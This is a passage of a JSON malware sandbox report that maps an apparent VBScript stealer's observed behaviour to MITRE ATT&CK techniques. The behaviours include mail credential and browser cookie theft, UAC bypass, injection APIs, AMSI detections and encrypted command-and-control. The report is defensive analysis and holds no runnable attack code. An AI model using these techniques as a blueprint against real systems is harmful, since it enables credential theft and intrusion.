keys"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"malicious","value":"Executes WMI queries in order to detect local security applications"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"},{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Queries list of installed browsers"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Creates directory on disk"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"malicious","value":"Sends network traffic on a typical mail related ports"},{"type":"suspicious","value":"Contacts Mail Related Domain Names"},{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Drops executable files"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"GETs files from a webserver"},{"type":"informative","value":"Attempts to call internet-related API for network communication"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Command line contains long Base64-encoded string"},{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"suspicious","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"suspicious","value":"Opens a handle to the specified local process"},{"type":"informative","value":"Able to change the configuration parameters of a service"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"Uses .NET dynamic method generation for code execution"}],"sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-Item\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"-] VirtualAlloc failed\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found reference to API \"-] CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found reference to API \"tCreateThreadEx\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00005700)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00005700)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00005700)\n \"WScript.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '1434547585025', 'hResInfo': '1434547593440'}\" (UID: 00000000-00005700)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1434547585025', 'hResInfo': '1434547593472'}\" (UID: 00000000-00005700)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1434547585025', 'hResInfo': '1434547593488'}\" (UID: 00000000-00005700)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '1434547585025', 'hResInfo': '1434547593456'}\" (UID: 00000000-00005700)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify PowerShell execution policies (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-ExecutionPolicy\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-341","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"RC2\"; File: \"Form_1759970159.vbs\")\n file/memory contains long string with (Indicator: \"HKDF\"; File: \"Form_1759970159.vbs\")\n file/memory contains long string with (Indicator: \"Aes\"; File: \"Form_1759970159.vbs\")\n file/memory contains long string with (Indicator: \"Oid\"; File: \"Form_1759970159.vbs\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005280.00000002.262058.BF880000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005280.00000002.262058.BFDD0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$26","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":1,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$28","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"$29","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"WScript.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":10,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005280-00000C2B-3055795269\")\n Found reference to API \"CryptUnprotectDataW\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00005280-00000C2B-3055795312\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00005280-00000C2B-3055955453\")\n Found reference to API \"BCryptImportKey\" (Indicator: \"BCryptImportKey\"; Source: \"00000000-00005280-00000C2B-3055959247\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00005280-00000C2B-3055961835\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; Source: \"00000000-00005280-00000C2B-3055962143\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00005280-00000C2B-3055962511\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005280.00000001.260141.9D410000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"Keep\" in header \"GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: The input file contains long base64 encoded strings\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2b","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; File: \"Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005280-00000C2B-3033756234\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: 